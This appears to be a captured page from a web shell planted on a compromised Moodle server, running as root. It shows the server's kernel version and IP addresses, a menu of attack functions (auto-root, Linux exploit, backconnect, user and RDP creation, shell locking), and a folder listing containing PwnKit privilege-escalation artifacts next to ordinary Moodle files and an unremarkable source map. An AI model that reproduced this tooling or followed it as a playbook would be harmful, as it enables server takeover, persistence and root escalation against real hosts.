Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
lp /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
actionselector.min.js
2.77
KB
-rwxrwxrwx
actionselector.min.js.map
8.42
KB
-rwxrwxrwx
competencies.min.js
6.94
KB
-rwxrwxrwx
competencies.min.js.map
19.17
KB
-rwxrwxrwx
competency_outcomes.min.js
1.07
KB
-rwxrwxrwx
competency_outcomes.min.js.map
3.84
KB
-rwxrwxrwx
competency_plan_navigation.min...
1.23
KB
-rwxrwxrwx
competency_plan_navigation.min...
3.87
KB
-rwxrwxrwx
competency_rule.min.js
1.24
KB
-rwxrwxrwx
competency_rule.min.js.map
5.88
KB
-rwxrwxrwx
competency_rule_all.min.js
579
B
-rwxrwxrwx
competency_rule_all.min.js.map
2.11
KB
-rwxrwxrwx
competency_rule_points.min.js
2.46
KB
-rwxrwxrwx
competency_rule_points.min.js....
8.31
KB
-rwxrwxrwx
competencyactions.min.js
15.43
KB
-rwxrwxrwx
competencyactions.min.js.map
44.3
KB
-rwxrwxrwx
competencydialogue.min.js
2.34
KB
-rwxrwxrwx
competencydialogue.min.js.map
7.67
KB
-rwxrwxrwx
competencypicker.min.js
6.72
KB
-rwxrwxrwx
competencypicker.min.js.map
21.72
KB
-rwxrwxrwx
competencypicker_user_plans.mi...
3.05
KB
-rwxrwxrwx
competencypicker_user_plans.mi...
10.22
KB
-rwxrwxrwx
competencyruleconfig.min.js
6.01
KB
-rwxrwxrwx
competencyruleconfig.min.js.ma...
20.63
KB
-rwxrwxrwx
competencytree.min.js
3.23
KB
-rwxrwxrwx
competencytree.min.js.map
12.63
KB
-rwxrwxrwx
course_competency_settings.min...
2.71
KB
-rwxrwxrwx
course_competency_settings.min...
7.54
KB
-rwxrwxrwx
dialogue.min.js
1.62
KB
-rwxrwxrwx
dialogue.min.js.map
5.45
KB
-rwxrwxrwx
dragdrop-reorder.min.js
1.23
KB
-rwxrwxrwx
dragdrop-reorder.min.js.map
5.1
KB
-rwxrwxrwx
event_base.min.js
578
B
-rwxrwxrwx
event_base.min.js.map
2.23
KB
-rwxrwxrwx
evidence_delete.min.js
1.27
KB
-rwxrwxrwx
evidence_delete.min.js.map
4.72
KB
-rwxrwxrwx
form-cohort-selector.min.js
1.21
KB
-rwxrwxrwx
form-cohort-selector.min.js.ma...
3.9
KB
-rwxrwxrwx
form-user-selector.min.js
1.36
KB
-rwxrwxrwx
form-user-selector.min.js.map
4.49
KB
-rwxrwxrwx
form_competency_element.min.js
2.37
KB
-rwxrwxrwx
form_competency_element.min.js...
6.72
KB
-rwxrwxrwx
frameworkactions.min.js
2.42
KB
-rwxrwxrwx
frameworkactions.min.js.map
8.04
KB
-rwxrwxrwx
frameworks_datasource.min.js
1.12
KB
-rwxrwxrwx
frameworks_datasource.min.js.m...
4.31
KB
-rwxrwxrwx
grade_dialogue.min.js
1.89
KB
-rwxrwxrwx
grade_dialogue.min.js.map
6.18
KB
-rwxrwxrwx
grade_user_competency_inline.m...
2.58
KB
-rwxrwxrwx
grade_user_competency_inline.m...
7.93
KB
-rwxrwxrwx
menubar.min.js
9.6
KB
-rwxrwxrwx
menubar.min.js.map
37.95
KB
-rwxrwxrwx
module_navigation.min.js
820
B
-rwxrwxrwx
module_navigation.min.js.map
2.93
KB
-rwxrwxrwx
parentcompetency_form.min.js
2.45
KB
-rwxrwxrwx
parentcompetency_form.min.js.m...
8.21
KB
-rwxrwxrwx
planactions.min.js
9.42
KB
-rwxrwxrwx
planactions.min.js.map
27.69
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
scaleconfig.min.js
3.51
KB
-rwxrwxrwx
scaleconfig.min.js.map
11.38
KB
-rwxrwxrwx
scalevalues.min.js
658
B
-rwxrwxrwx
scalevalues.min.js.map
2.54
KB
-rwxrwxrwx
templateactions.min.js
2.81
KB
-rwxrwxrwx
templateactions.min.js.map
9.67
KB
-rwxrwxrwx
tree.min.js
8.13
KB
-rwxrwxrwx
tree.min.js.map
27.38
KB
-rwxrwxrwx
user_competency_course_navigat...
1.45
KB
-rwxrwxrwx
user_competency_course_navigat...
4.52
KB
-rwxrwxrwx
user_competency_info.min.js
1.94
KB
-rwxrwxrwx
user_competency_info.min.js.ma...
6.04
KB
-rwxrwxrwx
user_competency_plan_popup.min...
2.46
KB
-rwxrwxrwx
user_competency_plan_popup.min...
7.08
KB
-rwxrwxrwx
user_competency_workflow.min.j...
4.63
KB
-rwxrwxrwx
user_competency_workflow.min.j...
12.79
KB
-rwxrwxrwx
user_evidence_actions.min.js
6.69
KB
-rwxrwxrwx
user_evidence_actions.min.js.m...
19.31
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : competency_rule_points.min.js.map
{"version":3,"file":"competency_rule_points.min.js","sources":["../src/competency_rule_points.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Competency rule points module.\n *\n * @package tool_lp\n * @copyright 2015 Frédéric Massart - FMCorz.net\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\ndefine(['jquery',\n 'core/str',\n 'core/templates',\n 'tool_lp/competency_rule',\n ],\n function($, Str, Templates, RuleBase) {\n\n /**\n * Competency rule points class.\n */\n var Rule = function() {\n RuleBase.apply(this, arguments);\n };\n Rule.prototype = Object.create(RuleBase.prototype);\n\n /** @type {Node} Reference to the container in which the template was included. */\n Rule.prototype._container = null;\n /** @type {Boolean} Whether or not the template was included. */\n Rule.prototype._templateLoaded = false;\n\n /**\n * The config established by this rule.\n *\n * @return {String}\n * @method getConfig\n */\n Rule.prototype.getConfig = function() {\n return JSON.stringify({\n base: {\n points: this._getRequiredPoints(),\n },\n competencies: this._getCompetenciesConfig()\n });\n };\n\n /**\n * Gathers the input provided by the user for competencies.\n *\n * @return {Array} Containing id, points and required.\n * @method _getCompetenciesConfig\n * @protected\n */\n Rule.prototype._getCompetenciesConfig = function() {\n var competencies = [];\n\n this._container.find('[data-competency]').each(function() {\n var node = $(this),\n id = node.data('competency'),\n points = parseInt(node.find('[name=\"points\"]').val(), 10),\n required = node.find('[name=\"required\"]').prop('checked');\n\n competencies.push({\n id: id,\n points: points,\n required: required ? 1 : 0\n });\n });\n\n return competencies;\n };\n\n /**\n * Fetches the required points set by the user.\n *\n * @return {Number}\n * @method _getRequiredPoints\n * @protected\n */\n Rule.prototype._getRequiredPoints = function() {\n return parseInt(this._container.find('[name=\"requiredpoints\"]').val() || 1, 10);\n };\n\n /**\n * Return the type of the module.\n *\n * @return {String}\n * @method getType\n */\n Rule.prototype.getType = function() {\n return 'core_competency\\\\competency_rule_points';\n };\n\n /**\n * Callback to inject the template.\n *\n * @param {Node} container Node to inject in.\n * @return {Promise} Resolved when done.\n * @method injectTemplate\n */\n Rule.prototype.injectTemplate = function(container) {\n var self = this,\n children = this._tree.getChildren(this._competency.id),\n context,\n config = {\n base: {points: 2},\n competencies: []\n };\n\n this._templateLoaded = false;\n\n // Only pre-load the configuration when the competency is using this rule.\n if (self._competency.ruletype == self.getType()) {\n try {\n config = JSON.parse(self._competency.ruleconfig);\n } catch (e) {\n // eslint-disable-line no-empty\n }\n }\n\n context = {\n requiredpoints: (config && config.base) ? config.base.points : 2,\n competency: self._competency,\n children: []\n };\n\n $.each(children, function(index, child) {\n var competency = {\n id: child.id,\n shortname: child.shortname,\n required: false,\n points: 0\n };\n\n if (config) {\n $.each(config.competencies, function(index, comp) {\n if (comp.id == competency.id) {\n competency.required = comp.required ? true : false;\n competency.points = comp.points;\n }\n });\n }\n\n context.children.push(competency);\n });\n\n return Templates.render('tool_lp/competency_rule_points', context).then(function(html) {\n self._container = container;\n container.html(html);\n container.find('input').change(function() {\n self._triggerChange();\n });\n\n // We're done, let's trigger a change.\n self._templateLoaded = true;\n self._triggerChange();\n return;\n });\n };\n\n /**\n * Whether or not the current config is valid.\n *\n * @return {Boolean}\n * @method isValid\n */\n Rule.prototype.isValid = function() {\n if (!this._templateLoaded) {\n return false;\n }\n\n var required = this._getRequiredPoints(),\n max = 0,\n valid = true;\n\n $.each(this._getCompetenciesConfig(), function(index, competency) {\n if (competency.points < 0) {\n valid = false;\n }\n max += competency.points;\n });\n\n valid = valid && max >= required;\n return valid;\n };\n\n return /** @alias module:tool_lp/competency_rule_all */ Rule;\n\n});\n"],"names":["define","$","Str","Templates","RuleBase","Rule","apply","this","arguments","prototype","Object","create","_container","_templateLoaded","getConfig","JSON","stringify","base","points","_getRequiredPoints","competencies","_getCompetenciesConfig","find","each","node","id","data","parseInt","val","required","prop","push","getType","injectTemplate","container","context","self","children","_tree","getChildren","_competency","config","ruletype","parse","ruleconfig","e","requiredpoints","competency","index","child","shortname","comp","render","then","html","change","_triggerChange","isValid","max","valid"],"mappings":";;;;;;;AAuBAA,wCAAO,CAAC,SACA,WACA,iBACA,4BAEA,SAASC,EAAGC,IAAKC,UAAWC,cAK5BC,KAAO,WACPD,SAASE,MAAMC,KAAMC,mBAEzBH,KAAKI,UAAY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